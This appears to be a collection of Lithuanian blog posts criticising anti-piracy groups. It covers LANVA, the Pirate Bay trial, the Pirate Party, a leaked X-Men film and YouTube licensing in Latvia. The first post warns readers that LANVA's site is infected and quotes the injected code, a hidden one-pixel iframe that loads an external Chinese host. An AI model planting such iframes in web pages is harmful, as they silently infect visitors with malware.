(L)ANVA platina virusus

Šiandien mano antivirusinė aptiko kažką netikėto, mano vienoje iš mėgstamiausių svetainių. Angliškoje  tinklapio versijoje aptiko trojaną (anva.lt/index_en.html tik neikite). Gabaliukas išeities teksto:

<iframe src=“http://hotslotpot.cn/in.cgi?income65″ width=1 height=1 style=“visibility: hidden“>

Ne pirmą kartą matome, kaip ANVA ar LANVA nemoka ir nesupranta skaitmeninio pasaulio. Nesugeba susitvarkyti savo puslapio ir kelia visuomenei grėsmę.

Reikia imtis priemonių, kad tokie tinklapiai, užkrečiantys vartotojus virusais, turėtų būti sustabdyti. Juk tai aiškiai pažeidžia ne tik Lietuvos Respublikos įstatymus, bet kiekvieno vartotojo laisvės teises.

nonick LM’e vienas iš pirmujų pastebėjo šitą virusą, dėkui jam už info.

Apetitas skaičiuojant padarytus piratų nuostolius auga

Šiandien, kaip ir kiekvieną dieną, tikrinant tam tikrų raktažodžių srautus, radau įdomaus straipsnio iškarpą (gaila, pilną straipsnį gausiu tik rytoj).

LANVA duomenimis, pernai jos vienijami Lietuvos kūrėjai dėl piratų veiklos neteko 1,16 mlrd. Lt. Autorių ir gretutines teises ginanti asociacija suskaičiavo ir bendrą piratų padarytą žalą – per šešerius metus, kai Lietuvoje tapo įprasta internete dalytis failais, kūrėjų ir gamintojų patirta žala siekia apie 5–6 mlrd. Lt

Sunku net įsivaizduoti, kad yra padaroma tokia žala. Kaip įmanoma tiek suskaičiuoti žalos? Primetam greitai matematiškai 1,16 mlrd. Lt/3 000 000 mln žmonių = 380 Lt per metus.

Kitas variantas. LATGA per metus surenka apie 900 000 litų iš visų Lietuvos gyventojų už tai, kad jie klauso ir transliuoja muziką visiems 3 mln. žmonių. Taigi, sumažinant per metus piratavimo lygį bent 1%, turėtų prisidėti prie tos sumos dar bent 11,6 mln. litų.

Nevieną kartą ir ne du rašėme, kad vyriausybinės reikšmės tyrimai parodė tik naudą, kurią teikia duomenų apsikeitimo tinklai.

Straipsnio pabaigoje taip pat įdomiai parašyta apie torrent.lt tinklapį.

Pasauliui smalsiai stebint „Pirate Bay“ bylą, Lietuvoje pradėtas pirmas ikiteisminis tyrimas dėl failų dalijimosi tinklalapio Torrent.lt. Kriminalinės policijos biuro Intelektinės nuosavybės apsaugos skyriaus viršininko R.Šimulevičiaus teigimu, ši byla turėtų sukurti precedentą Lietuvoje kovojant su interneto piratais.

Nuo kada policija suinteresuota būtį šališka tokiuose dalykuose? Nuo kada ji pradeda ginti lobistus?  (L)ANVA tinklapyje (kuris veikia tik naudojant subdomeną www, nes turbūt dėl techninių problemų sunku 2 metus sutaisyti DNS), gražiai puikuojasi logotipas, kad jų partneriai yra policija. Jeigu policija partneriauja, tai kokią informaciją ji pateikia (L)ANVA’i ir ar tai nepažeidžia įstatymų? Juk policija negali kištis į tokius dalykus tarp dvejų organizacijų, o turi ginti visuomenės interesus.

The Pirate Bay teisėjo tesėja pašalinta #Spectrial

tpblogo_sm_ny

Toliau stebint visą ThePirateBay (TPB) fiasko (#Spectrial), kai pirmas teisėjas apkaltintas šališkumu ir bendradarbiavimu su antipiratinėmis organizacijomis visi laukia kaip gi tęsis ši netikėta istorija.

TPB advokatams padavus prašymą ištirti, ar teisėjas Thomas Bodströms buvo šališkas, jie gavo patvirtinimą, kad tyrimas pradėtas. Prieš kelias dienas buvo paskirta teisėja Ulrika Ihrfelt turėjusi išsiaiškinti, ar TPB teisėjas buvo šališkas ir ar pakartotinas teismas turi būti vykdomas, tačiau po dvejų dienų pati teisėja buvo pašalinta už nešališkumą. Paaiškėjo, jog abu teisėjai yra kolegos dirbantys toje pačioje organizacijoje ir turintys glaudžius ryšius su antipiratinėmis organizacijomis, taip sukeldama dar didesnį sąmyši Švedijos gyventojams valdžios pasitikėjimo stygiumi, tiek pasauliniu mastu vartotojams parodant, kaip neteisingai yra kovojama su tokiais dalykais.

Dabar, paskutinėmis žiniomis yra paskirta 3 teisėjų komanda, kuri turės nuspręsti, ar TPB teisėjas buvo šališkas. Gaila, bet iš tų trijų, vėl kai kurie teisėjai yra bendradarbiai su buvusiais teisėjais ir yra kaltinami už šališkumą, tačiau ar 3 eilė teisėjų bus pašalinta už šališkumą dar neaišku.

Pirmam sezone šio teismo mes matėme ir tikrai nesitikėjome, kad TPB gaus tokia didelę bausmę. Galvojome, kad viskas pasisuks reikiama linkme ir pergalė bus pasiekta, bet gaila, pabaiga netikėta… Teismo rezultatai nutekinti į internetą dar teismui jų nepaskelbus, o TPB jau rodos tuoj bus sodinama į kalėjimą.

Antras sezonas prasidėjo sužinant, kad teisėjas buvo šališkas. Įpusėjus antram #Spectrial sezonui, mes kiekvienoje dalyje matome nenuspėjamus serialo posūkius. Teisėjai yra šališki, leidybos kompanijos negauna pinigų ir vis dar mėgina uždaryti tinklapį, grasindamos TPB interneto teikėjams. Advokatų sąskaitos uždaromos nuo $$oS. Tiek įvykių nepamatysime turbūt net per geriausia serialą, rodomą televizijoje.

Žiūrint į visą tai, belieka tik laukti kito #Spectrial epizodo.

Bendradarbiauti lengviau nei gaudyti gerbėjus

Praėjusias savaites nerašydamas tinklaraštyje, dalį laiko skyriau trumpam, labai neišplėstam straipsniukui, kurį darė vz.lt. Straipsnyje truputi išreiškiama nuomonė apie nemokamo biznio modelį.

Yra keli variantai kaip galima paskaityti straipsniuką.
1. Skanuotą skaitmeninė versija.
2. Versija paskelbta vz.lt svetainėje.
3.  Nusipirkti leidimą skaityti verslozinios.lt internete arba reikėjo pirkti popierinį laikraštį.

Pirate Party gal ir Lietuvoje?

463px-piratpartietsvg

Neseniai rašiau apie Švedijos Pirate Party ir jos ketinimus patekti į Europos Sąjungos parlamentą, o dabar, prieš kelias dienas gavau laišką, kuriame buvo parašyta, kad tarptautiniame Pirate Party forume sukurtas lietuviams atskiras subforumas. Užsukęs ten pamačiau tik kelis vartotojus susidomėjusius pradėti Lietuvoje PP judėjimą. Nors į politiką veltis noro didelio nebuvo, bet projektai su kuriais dirbu, verčia mane gilintis į tuos dalykus, skaityti ir nagrinėti vis smarkiau. Su lyg kiekviena diena tampa aiškiau, kad tai turbūt jau nebeišvengiama.

Mąstydamas apie ateinančius europarlamentaro rinkimus, jau kelias savaites negaliu apsispręsti, už ką turėsiu balsuoti ir pasirodo ne aš vienas. Tokie svarbūs klausimai neduoda ramybės, kurio atsakymo nerandu, gal jo neranda ir didžioji jaunimo dalis, kuriai itin svarbus šis technologijų plėtros amžius.

Pirate Party visai neseniai įsikūrusi politinė partija, jau turinti daugelyje šalių savo atstovybes, kurios kartu siekia bendro tikslo,  kai kuriuose šalyse partijos atstovybės dar tik bando susikurti.

Nežinau, ar šita pradžia išaugs į kažką didelio, tačiau manau, jog tai kažko pradžia, kas yra geriau nei nieko.

Iksmenai – uždarbis po nuotekio

Pirmoje dalyje šio įrašo rašiau apie nuotėkį naujojo filmo “Iksmenai: pradžia. Ernis” (X-Men Origins: Wolverine) į internetą, beveik mėnesiui iki pasirodymo kino teatruose. Naudą ar žalą šis nuotėkis atneš leidybos įmonei. Pirmasis savaitgalis baigėsi ir galime susumuoti rezultatus. Palyginimui pradėsiu, kad naujos dalies biudžetas buvo mažesnis nei 2006 metų dalies. Iksmenai: pradžia. Ernis – 390,5 mln. litų (150 mln. $), tuo tarpų Iksmenai. Žūtbūtinis mūšis (X-Men: The Last Stand) 546,5 mln. litų (210 mln. $). Skirtumas tikrai nėra mažas, gaunasi 156 mln. litų (60 mln. $). Biudžetu galime matyti, kad į filmą įdėta mažiau pinigų, taigi reikalauti daugiau finansinės naudos, kaip ir būtų sunkiau tikimasi, nebent įskaitant ankstesnių dalių sėkmės faktorių.

Po pirmojo savaitgalio galime pažiūrėti skirtumus tarp uždirbto pinigų kiekio. Prieš pradedant nagrinėti uždirbtus pinigus turime atsižvelgti į daugelį faktorių kaip sunkmečio laikotarpis, kritikų įvertinimai filmui yra irgi prastesni už prieš tai išėjusias dalis.  Viską tai prisiminus galime pažiūrėti ir į statistiką, kiek ko uždirbta.

Iksmenai: pradžia. Ernis  uždirbo JAV (85,1 mln. $), o visame pasaulyje (158 mln. $) pasauliniu mastu. Taigi galima drąsiai sakyti, kad filmas leidyklai atsipirko per pirmąjį savaitgalį uždirbęs 411.2 mln. litų (158mln. $), kai ji išleido tik 390,5 mln. litų (150mln. $). Matydami tokius rezultatus šokame prie senesnės 2006 metais išleistos filmo dalies, kad galėtume palyginti. „Iksmenai. Žūtbūtinis mūšis“ per pirmąjį savaitgalį (kuris truko 4 dienas) uždirbo JAV 265,4 mln. litų (102 mln. $), ir tik 317,5mln. litų (122 mln. $) pasauliniu mastu.

Kokias išvadas galima daryti iš to, ką priskaičiavome? Naujasis Iksmenų filmas tikrai atnešė daug pinigų, daug pelno ir nors kritikų įvertinimai labai žemi, jis vistiek pelningesnis už ankščiau buvusius pasauliniu mastu. Aišku JAV uždirbo mažiau, bet dėl to kaltinti apsikeitimo bylomis tinklus tikrai nėra tinkama, ypač, kai JAV yra labiausiai ir griežčiausiai prieš tai nusistačiusi šalis.

Sunku įrodyti, kad duomenų apsikeitimo tinklai daro neigiamą įtaką net ir iš tokio akivaizdaus atsitikimo nelabai matosi, kur tie prarasti milijonai (nebent tie keli milijonai išleisti ieškant, kas nutekino filmą). Kas matosi aiškiai, tai uždirbti milijonai, ir kylantys skaičia,i kurie padaro gerą pelną už kritikų nuvertinamą filmą. Ar negeriau būtų buvę padaryti teigiamos reklamos iš to nuotėkio, o ne apkaltinti fanus, atleisti darbuotojus bei pradėti „n“ ikiteisminių tyrimų. Parašyti vartotojams, kad tai dar nebaigta versija ir pakviesti visus pamatyti papildomus efektus, nematytas scenas nutekėjusioje versijoje, bei pajausti kino teatruose jaučiamą superinį jausmą… Gaila, turbūt tik alternatyvioje realybėje galėtume pamatyti leidėjus rašančius tokius gerus ir teigiamus dalykus.

Kurgi aš dingau?

Paskutines kelias savaites tikrai truputį apleidau rašymą šitame tinklaraštyje. Ne, ne dėlto, kad nenoriu, noro yra labai daug, tačiau projektai kuriuos aš dariau, reikalavo daugiau dėmesio (išskyrus šitą). Penktadienį „Verslo žinių“ laikraštyje turėtų dar ir pasirodyti mano trumpas su darytas straipsniukas (plačiau apie jį vėliau). Per šias savaites nepadengiau daug įdomių naujienų, kuriuos nutiko intelektiniame informacinių technologijų pasaulyje, bet mėginsim pasivyti. Rašyti noriu ir turiu ką parašyti, belieka tik vėl bent po vieną kitą straipsniuką brūkštelti kasdien.

Ką bendro turi vienaakis jūrų plėšikas ir menininkas?

Pastaruoju metu vis garsiau ir garsiau skamba pavojaus varpai piratų uostuose—bent jau taip teigia žiniasklaida. Bet kaip yra iš tiesų? Kaip baigsis kova prieš failų mainų entuziastus? Ir negi visa tai virto opia visuomenės problema tik technologijų amžiuje?

Mano galva, įvykiai besiklostantys šiomis dienomis emocijų kiekiu prilygsta revoliucijai. Bet mūsų tema yra informacijos mainai ir intelektinės nuosavybės skolinimasis arba vagystės—patys ryškiausi pavyzdžiai slypi meno istorijoje; Kaskart, kai įvairių kartų menininkai (skirtingais laiko etapais) pradėdavo eksponuoti savo kūrinius, kurie savo paskirtimi paprieštaraudavo visuomenėje nusistovejusiems įpročiams ir normoms, nuvilnydavo nepasitenkinimo ir agresijos bangos. Vienas kubizmo tėvų, Pablo Picasso, „pasiskolino“ ir „išgrynino“ egiptiečių hieroglifus—mat jie buvo aiškūs ir suprantami savo struktūra kiekvienam (akis—migdolo formos plyšys veide; kojos ir rankos matomos—žmogus sveikas, etc), kad menininkas net nesuabejojo nugvelbdamas (kaip pasakytų šiuolaikiniai anti-piratai) ir panaudodamas juos savo darbuose.

Andy Warhol dažnai nė neprisiliesdavo prie savo meno kūrinių—visą darbą už jį įvykdydavo jo studijos darbininkai. Viršininkui padiktavus kokią fotografiją iš laikraščio įklijuoti į nurodytos spalvos foną gimdavo naujas meno kūrinys, kuris sukeldavo diskusijas apie tai, kas yra menininkas, o ką jau kalbėti apie intelektinę nuosavybę ir piratavimą.

Tikriausiai jau supratote, ką bandau pasakyti: abu minėti menininkai šiais laikais būtų laikomi piratais, jeigu ne jų pačių sukeltos revoliucijos mene prieš keliasdešimt metų. Abu jie (ir begalės kitų žmonių pasaulio istorijoje) sukėlė didžiulius ginčus apie intelektinę nuosavybę, darbą, ją kuriant, ir užmokestį už jos naudojimą: vieni teigė, kad pasekmės yra svarbesnės, nei veiksmas (t.y. kad geresnio produkto sukūrimas yra daug svarbiau, nei tai, kad idėja jam sukurti buvo pasiskolinta), kai tuo tarpu kiti šūkavo, kad buvo pavogta jų teisė „sukurti tą patį, tik vėliau“. Bet kas gi svarbiau: ar judėjimas tobulybės link kuo greičiau, ar pasipelnymas iš to?

Aš suprantu, kad mano mintis gali būti kiek miglota—tačiau aš bandau palyginti buvusias kontroversiškas idėjas ir jų atitikmenis šių laikų visuomenėje. Daugelis piratų žino arba bent jau girdėjo už ką stovi „Creative Commons“ organizacija: jie stengiasi palengvinti žmonėms dalintis savo kūriniais ir idėjomis—su sąlyga, kad autorius nebus pamirštas, arba, kad kūrinio idėja išliks ta pati, bet pateikimas gali būti visiškai kitas. Esmė—tobulinti produktus, šviesti visuomenę, dalintis savo idėjomis ir skatinti tai daryti kitus, pabrėžiant autoriaus teises ir „skolintojosi“ atsakomybę.

Man atrodo, kad piratavimas šiais laikais ir yra dalinimasis duomenimis siekiant aukštesnio tikslo: intelektualios muzikos, emocianalių filmų ir t.t. Tačiau yra žmonių, kurie, kaip ir anuomet, dabar šūkauja, kad tai jie yra aukos, kad jie kenčia dėl žmonių, kurie neperka jų muzikos vien dėl to, kad ją yra jau girdėję ir tas garsų kratinys su bukais tekstais potencialiems pirkėjams visai nepatiko. Kaip jau minėjau: visuomet yra žmonių, kurie siekia vien tik pelno, o kitoje fronto pusėje visuomet stovi žmonės, kurie kovoja už tobulesnę visuomenę ir aplinką. Ir taip jau atsitiko, kad dabar frontas atskyrė žmones, kurie naudojasi internetu rinktis prekes, už kurias jie norės sumokėti ateityje ir taip įnešti savo įnašą į natūralią evoliuciją, ir tuos, kurie siekia parduoti pirmiesiems jų teisę rinktis. Ne visai sąžininga…

Pabaigai užduosiu tik porą klausimų, kuriuos kviečiu aptarti komentarų skiltyje: kokia yra piratavimo samprata dabar ir už ką stovi baisioji media pramonė taip aršiai kovojanti prieš piratavimą?

ThePirateBay teisėjas neobjektyvus

Visos naujienos mirga, ThePirateBay reklama. Teisėjas teisęs TPB susijęs su kai kuriomis organizacijomis, padavusiomis TPB į teismą. Pasirodo teisėjas Tomas Norström dirba su tomis organizacijoms ir paklaustas, ar nemano, jog tai gali trukdyti bylai, atsakė, kad jis yra kompetetingas.

TPB ketvirtuko advokatai prašo, jog teismą anuliuotų ir būtų pradėtas teismo procesas nagrinėjamas iš naujo.  Tai puiki naujiena visiems vartotojams. Šventės organizuojamos švęsti šitą pergalę.

TPB atstovas su ryšiais Peter Sunde pasakė:

Pirmam sezone mes matėme, kaip TPB buvo paskelbta kalta, o antras sezonas prasideda su neobjektyviu teisėju. Realus gyvenimas geriau nei fantastika.

YouTube vs. Muzikos industrija Latvijoje

Kova tęsiasi. YouTube Latvijoje užblokavo prieigą prie muzikinių kūrinių. Latvijos antipiratinei gaujai AKKA/LAA pradėjus reikalauti tinklapių, kuriuose yra įkelti vaizdo kūriniai iš YouTube, susimokėti autoriams už tai, kad transliuojami kūriniai yra apsaugoti autorinėm teisėm, ir už tai reikia atlikėjams mokėti pinigus. Ištrauka iš Delfi:

Latvijos agentūra „AKKA/LAA” stengiasi priversti Latvijos tinklalapių savininkus susimokėti už vaizdo medžiagos iš „YouTube” naudojimą savo tinklalapiuose. Pranešama, kad „AKKA/LAA” pradėjo derybas su „YouTube” dėl tinklalapio veiklos Latvijoje licencijavimo.

Apie 500 Latvijos internetinių tinklalapių savininkų gavo iš „AKKA/LAA” laiškus, kuriuose reikalaujama sumokėti už vaizdo įrašų iš „YouTube” patalpinimą savo tinklalapiuose.

„AKKA/LAA” atstovai teigia, kad tinklalapių savininkai turi sumokėti už savo tinklalapiuose embed-kodo pagalba patalpintus muzikinius vaizdo klipus. Priešingu atveju, jiems gresia jų tinklalapio uždarymas.

YouTube yra labai geras tinklapis nemokamai reklamuojant savo kūrinius milijonams vartotojų. Vietoj to, kad leistų visiems skelbti ir reklamuoti atlikėjus, jie draudžia juos, net neįsivaizduodami, kokią didelę žalą darydami atlikėjams. Taip pat prašo pinigų ne tik iš YouTube, bet ir iš kitų tinklapių, kurie rodo YouTube tinklapio informaciją, turbūt norėdami pasipelnyti dvigubai.  Iš straipsnio galime spręsti, kad jei būsime kada nors Rygoje (aš ten būnu 2-3 kartus per metus) iš YouTube vaizdo klipus nesusimokėjus žiūrėti yra nelegalu.